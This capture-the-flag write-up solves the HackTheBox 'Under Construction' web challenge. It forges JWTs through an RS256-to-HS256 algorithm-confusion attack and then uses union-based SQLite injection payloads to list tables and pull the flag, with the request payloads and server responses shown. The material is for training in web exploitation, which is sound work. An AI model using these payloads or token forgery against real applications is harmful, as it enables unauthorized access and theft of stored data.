CHALLENGE INFORMATION
![]() | Platform: HackTheBox Collection: Beginner Track Challenge: Under Construction |
DESCRIPTION
A company that specialises in web development is creating a new site that is currently under construction. Can you obtain the flag?
SUMMARY
We prepare the challenge files, then proceed to perform source code analysis using Codium. As we delve into the code, we identify vulnerabilities in the requirements section (CVE-2023-2142, CWE-1321), as well as a SQL Injection vulnerability within the getUser() function located in the helpers/DBHelper.js file. Furthermore, we discover additional vulnerabilities in the helper/JWT.js file, specifically CVE-2022-23539, CVE-2022-23540, and CVE-2022-23541.
We then exploit CVE-2022-23541 to gain access, followed by exploiting the SQL Injection vulnerability within the getUser() function. As we navigate through the application, we determine the selected row and column number of interest. Next, we identify a table called flag_storage containing sensitive information, along with a specific column labeled as top_secret_flag. With this knowledge in hand, we proceed to retrieve the flag from its designated location.
Preparations
After reading the challenge description, we download the provided challenge files. There is only one this time: Under Construction.zip.

Figure 1: Challenge files download page
Then we use the provided SHA-256 checksum to verify that the challenge files were not tampered with.
user@kali:~$ ll
...
-rw-r--r-- 1 user user 5.9K ... 'Under Construction.zip'
user@kali:~$ echo -n "9f5c670ddfe72f08828eee3732ee8b00340fe7cf6448294039a4a384aff7e08c Under Construction.zip" | sha256sum -c
user@kali:~$Everything seems fine, so we unpack the archive:
user@kali:~$ unzip -P hackthebox Under\ Construction.zip -d ~/
Archive: Under Construction.zip
inflating: index.js
inflating: package.json
creating: middleware/
inflating: middleware/AuthMiddleware.js
creating: helpers/
inflating: helpers/DBHelper.js
inflating: helpers/JWTHelper.js
creating: routes/
inflating: routes/index.js
creating: views/
inflating: views/auth.html
inflating: views/index.html
user@kali:~$and use tree to get a better view of the extracted files:
user@kali:~$ tree .
...
├── helpers
│ ├── DBHelper.js
│ └── JWTHelper.js
├── index.js
├── middleware
│ └── AuthMiddleware.js
├── package.json
├── routes
│ └── index.js
└── views
├── auth.html
└── index.html
...
user@kali:~$All the files are backend source files:
- five JavaScript files
- one JSON file
- two HTML files
Static Code Analysis
Since the next part of the challenge revolves around analyzing source code (static analysis), we open these files in a code editor with codium .
The editor that comes preinstalled on the pwnbox is VSCodium, the clone of Microsoft’s popular Visual Studio Code editor – without the embedded user data tracking features.

Figure 2: VSCodium editor with project files loaded
Much better. Now let us start with the index.js file. Here is a brief source analysis:
index.js
|> REQUIREMENTS
- It uses the Express web framework – no vulnerabilities were reported for express version 4.17.1 (from package.json).
- It uses two parsers:
body-parser: To parse incoming request bodies – no vulnerabilities for version 1.19.0.cookie-parser: To parse cookie headers – no vulnerabilities for version 1.4.4.
- Links to routes/index.js.
- It uses Nunjucks (templating engine for JavaScript) version 3.2.0, which has two vulnerabilities:
- CVE-2023-2142 (XSS, medium severity)
- CWE-1321 (Prototype Pollution, high severity)
|> CODE
- Basic structure of an Express application.
- Registers middleware functions to handle URL-encoded data, cookies, and Nunjucks templates.
- Defines a catch-all route to handle any requests that do not match other routes.
- Starts the application listening on port 1337.
Let us check out those aforementioned routes – routes/index.js.
routes/index.js
|> REQUIREMENTS
- Imports the path module from the standard Node.js library.
- Links to:
../middleware/AuthMiddleware../helpers/JWTHelper../helpers/DBHelper
|> CODE
Defines several routes for a simple authentication system:
- Home route (
/): Gets the user. If the user exists, rendersindex.htmlwith user data; otherwise, returns a 404 error. get(/auth, ...):Renders theauth.htmltemplate, which contains a form for login or registration.get(/logout, ...): Clears the user’s session cookie and redirects to the/authroute.post(/auth, ...): Handles user login and registration requests.- Empty username or password –> Redirects to
/auth. - Username already exists in the database –> Redirects to
/authwith an error message. - Username does not exist in database –> Creates a new user and redirects to
/authwith a success message.
- Empty username or password –> Redirects to
- Registered user logic
- No username-password pair match in database –> Redirects to
/authwith an error message. - Username-password pair match in database –> Creates a JWT token for the user, redirects to the home page (
/), and sets the session cookie with the newly created token.
- No username-password pair match in database –> Redirects to
index.html
There is nothing particularly interesting in index.html besides:
...
<div class="card-body">
Welcome {{ user.username }}<br>
This site is under development. <br>
Please come back later.
</div>
which should reflect our username back to us.
auth.html
The auth.html file describes and defines the login form and its corresponding actions.
middleware/AuthMiddleware.js
Continuing with the middleware/AuthMiddleware.js file, it authenticates users using JWT tokens:
- If the session cookie is not set, redirects to
/auth. - If the session cookie is set, decodes the JWT token, extracts the username, and sets the username property.
helpers/DBHelper.js
This file contains functions that interact with the SQLite database:
getUser(): Retrieves a user from the database.checkUser(): Checks for a username in the database.createUser(): Creates a user entry in the database.attemptLogin(): Attempts to log a user in by username and password.
There is one very important thing to note here:
...
db.get(`SELECT * FROM users WHERE username = '${username}'`, (err, data) => {
if (err) return rej(err);
res(data);
});
...
which looks susceptible to common SQL injection attacks. Given that the other functions use query or name placeholders, only getUser() appears vulnerable.
helpers/JWTHelper.js
|> REQUIREMENTS
- Imports the fs module (for file system usage) from the standard Node.js library.
- Uses jsonwebtoken, which has three medium-severity vulnerabilities in version 8.5.1:
- CVE-2022-23539: Use of a broken or risky cryptographic algorithm
- CVE-2022-23540: Improper authentication
- CVE-2022-23541: Improper restriction of security token assignment
The following snippet proves very important:
Specifically, tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm. This can lead to successful validation of forged tokens.
…
HMAC Algorithm Attack: an attacker creates the token by setting the signing algorithm to a symmetric HS256 instead of an asymmetric RS256, leading the API to blindly verify the token using the HS256 algorithm using the public key as a secret key. Since the public key is known, the attacker can correctly forge valid JWTs.
…
Reading about algorithm confusion attacks confirms this vulnerability.
This vulnerability enables us to forge arbitrary JWT tokens.
|> CODE
- Functions to sign and verify JSON Web Tokens.
- Reads files:
./private.keyand../public.key. sign(): Signs with the private key using the RS256 algorithm.decode(): Decodes JWT tokens with the public key using both RS256 and HS256 algorithms.
Notice that we are allowed to use both symmetric (HS256) and asymmetric (RS256) cryptographic functions for decoding the JWT token.
Algorithm Confusion Attack
With the vulnerability identified, we proceed to exploit it by following the steps described in the PortSwigger post. The steps for performing an algorithm confusion attack are as follows:
- Step-1: Obtain the server’s public key.
- Step-2: Convert the public key to a suitable format.
- Step-3: Create a malicious JWT with a modified payload and the alg header set to HS256.
- Step-4: Sign the token with HS256, using the public key as the secret.
Opening a browser and examining our target’s webpage reveals a login page.

Figure 3: Web application login form
Step-1: Obtain the server’s public key.
Following the instructions and setting our sights on first obtaining the public key, we try to extract it from existing JWTs. We fire up Burp Suite and intercept the JWTs.
Since we already analyzed the backend code, we know that the server only signs tokens in the case of an already logged-in user:
// routes/index.js
...
let token = await JWTHelper.sign({
username: username.replace(/'/g, "\'\'").replace(/"/g, "\"\"")
})
...
So first we must create one. Registering test credentials (username:password) and logging in provides us with the desired signed token.

Figure 4: Burp Suite intercept showing the signed JWT token
Before moving on, we send the request to Burp’s Repeater and install the JWT Editor extension:
Click on Extender > BApp Store > Search for ‘JWT Editor’ > Install both JWT Editor Keys and JSON Web Tokens.

Figure 5: Burp Suite JWT Editor extensions installed
Copying our signed token to the JSON Web Tokens extension reveals that the RSA public key is indeed sent along in the payload.

Figure 6: Burp Suite showing the decoded JWT payload
Here is our decoded JWT:
Headers = {
"alg": "RS256",
"typ": "JWT"
}
Payload = {
"username": "username",
"pk": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n",
"iat": 1686225169
}
Signature = "g32U0iT0x4F8WbPcUGQ4SaA9OlgNt15kZotnypKu8V2HkeFNB7bG2yoXhkqGCj9CLI9L71SH2z20AJHSQPc6CMf2kwd-4QSjy1Oq6dr70cOcuMYbzeFpiJwVqtn1TJwcFyCv6lC1FQiOtFYg9k-yAkoD99K6wknBKxoo49N38aXs83a6pm9eJ1e1PbhtHtT5w2f5mi8cIeL5jVwu5TmzZfSyIgrjM82_czgmfE67ajay9oUBU9EHpTVXcNmItuDGFOHREGvRNWcysnGEjkm7-P4RwGDzOIciMrPEfpUZJWRjw78lVEwH_s0iINtFBG3KtsRGglO9itTDN8VGLe6apQ"
and the public RSA key looks like this:
-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n
But it still contains newline characters (\n), so we remove them and ensure there is an appending newline at the end:
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY
ktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi
XuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg
jIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH
+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx
V8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr
0wIDAQAB
-----END PUBLIC KEY-----
With this, we have completed the first step.
Step 2: Convert the Public Key to a Suitable Format
Given that our public RSA key is already in PEM format, we continue with the fourth substep: “Substep 4: Go to the Decoder tab and Base64-encode the PEM.”

Figure 7: Burp Suite Decoder with Base64-encoded RSA key
This is how the Base64-encoded public RSA key looks:
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE5NW9UbTlETnpjSHI4Z0xoalphWQprdHNiajFLeHhVT296dzB0clA5M0JnSXBYdjZXaXBRUkI1bHFvZlBsVTZGQjk5SmM1UVowNDU5dDczZ2dWRFFpClh1Q01JMmhvVWZKMVZtak5lV0NyU3JEVWhva0lGWkV1Q3VtZWh3d3RVTnVFdjBlekM1NFpUZEVDNVlTVEFPemcKaklXYWxzSGovZ2E1WkVEeDNFeHQwTWg1QUV3YkFENzMrcVhTL3VDdmhmYWpncHpIR2Q5T2dOUVU2MExNZjJtSAorRnluTnNqTk53bzVuUmU3dFIxMldiMllPQ3h3MnZkYW1PMW4xa2YvU015cFNLS3ZPZ2o1eTBMR2lVM2plWE14ClY4V1MrWWlZQ1U1T0JBbVRjejJ3Mmt6QmhaRmxINlJLNG1xdWV4SkhyYTIzSUd2NVVKNUdWUEVYcGRDcUszVHIKMHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
As for the remaining substeps:
- Substep 5: Go back to the JWT Editor Keys tab and click New Symmetric Key.
- Substep 6: In the dialog, click Generate to generate a new key in JWK format.
- Substep 7: Replace the generated value for the k parameter with the Base64-encoded PEM key that you just copied.
- Substep 8: Save the key.
we can complete them quite easily.

Figure 8: Burp Suite symmetric key configuration
Before moving on, let us do a quick check to ensure that we can correctly sign a token.

Figure 9: Burp Suite JWT signing test
Sending the request, we receive a valid response, which implies that our signature was accepted.

Figure 10: Burp Suite showing the accepted signature
Steps 3 and 4: Create a Malicious JWT and Sign the Token
This step combines steps 3 and 4:
- Step 3: Create a malicious JWT with a modified payload and the alg header set to HS256.
- Step 4: Sign the token with HS256, using the public key as the secret.
We will perform these steps continuously, one after the other, as we modify our SQL injection payload.
Our next course of action is to exploit the SQL injection vulnerability we found in helpers/DBHelper.js and use it as our payload:
...
db.get(`SELECT * FROM users WHERE username = '${username}'`, (err, data) => {
if (err) return rej(err);
res(data);
});
...
SQL Injection
Since we already know that the database we are interacting with is SQLite – sqlite3 requirement in helpers/DBHelper.js – we can look for an SQLite injection cheat sheet.
This cheat sheet from PayloadsAllTheThings is one of the more common ones.
Our main goal is to retrieve or leak data – the flag in our case – from the database.
Moreover, we already know that we are querying the users table by default, so our first order of business is to determine the number of rows and columns that we are presented with. Our default SQL query looks like this:
`SELECT * FROM users WHERE username = '${username}'`
We can use the UNION operator to combine the results of two or more SELECT statements into a single result. This technique is called union-based SQL injection. It is important to note that every SELECT statement within UNION must have the same number of columns.
Since integer values are automatically converted to other types if need be, we use them to determine the returned number of columns.
We start with 1 and increase our number until we find the correct number of columns.
// Query payload
...
"username": "username' union select 1'",
...
<!-- HTTP Response -->
...
<body>
<pre>
Error: SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns
</pre>
</body>
...
Adding another column does not help either. But we get valid results when using three values, and we get the second column of the second row displayed in the response:
// Query payload
...
"username": "username' union select 1,2,3'",
...
<!-- HTTP Response -->
...
<div class="card-body">
Welcome 2<br>
This site is under development. <br>
Please come back later.
</div>
...
Let us explore further. First we display the SQLite version:
// Query payload
...
"username": "username' union select 1, sqlite_version(),3'",
...
<!-- HTTP Response -->
...
<div class="card-body">
Welcome 3.30.1<br>
This site is under development. <br>
Please come back later.
</div>
...
To limit the number of rows returned by our SELECT statement, we use the LIMIT and OFFSET clauses to display the second row:
// Query payload
...
"username": "username' union select 1, 2, 3 limit 1 offset 1 --'",
...
<!-- HTTP Response -->
...
<div class="card-body">
Welcome username<br>
This site is under development. <br>
Please come back later.
</div>
...
We can list the tables by using the following technique:
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
Use limit X+1 offset X to extract all tables. Listing tables: LIMIT=1 and OFFSET=0.
// Query payload
...
"username": "username' union select 1, tbl_name, 3 from sqlite_master where type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0 --'",
...
<!-- HTTP Response -->
...
<div class="card-body">
Welcome flag_storage<br>
This site is under development. <br>
Please come back later.
</div>
...
Listing tables: LIMIT=2 and OFFSET=1.
// Query payload
...
"username": "username' union select 1, tbl_name, 3 from sqlite_master where type='table' and tbl_name not like 'sqlite_%' limit 2 offset 1 --'",
...
<!-- HTTP Response -->
...
<div class="card-body">
Welcome users<br>
This site is under development. <br>
Please come back later.
</div>
...
Listing tables: LIMIT=3 and OFFSET=2.
// Query payload
...
"username": "username' union select 1, tbl_name, 3 from sqlite_master where type='table' and tbl_name not like 'sqlite_%' limit 3 offset 2 --'",
...
<!-- HTTP Response -->
...
<div class="card-body">
Welcome username<br>
This site is under development. <br>
Please come back later.
</div>
...
Listing tables: LIMIT=4 and OFFSET=3.
// Query payload
...
"username": "username' union select 1, tbl_name, 3 from sqlite_master where type='table' and tbl_name not like 'sqlite_%' limit 4 offset 3 --'",
...
<!-- HTTP Response -->
...
user username' union select 1, tbl_name, 3 from sqlite_master where type='table' and tbl_name not like 'sqlite_%' limit 4 offset 3 --' doesn't exist in our database.
With that, we have the following interesting tables: flag_storage, users, and username.
Our primary interest lies with the flag_storage table, so we list its columns:
// Query payload
...
"username": "username' union select 1, sql, 3 from sqlite_master where type!='meta' and sql not null and name='flag_storage' --'",
...
<!-- HTTP Response -->
...
<div class="card-body">
Welcome CREATE TABLE "flag_storage" (
"id" INTEGER PRIMARY KEY AUTOINCREMENT,
"top_secret_flaag" TEXT
)<br>
This site is under development. <br>
Please come back later.
</div>
So we have two columns: id and top_secret_flaag.
Retrieving the Flag
All that remains is to retrieve the flag, so we query the flag_storage table’s top_secret_flaag column:
// Query payload
...
"username": "username' union select 1, top_secret_flaag, 3 from flag_storage --'",
...
<!-- HTTP Response -->
...
<div class="card-body">
Welcome HTB{<redacted-flag>}<br>
This site is under development. <br>
Please come back later.
</div>
Finally, we submit the flag and review the challenge before terminating the challenge box.
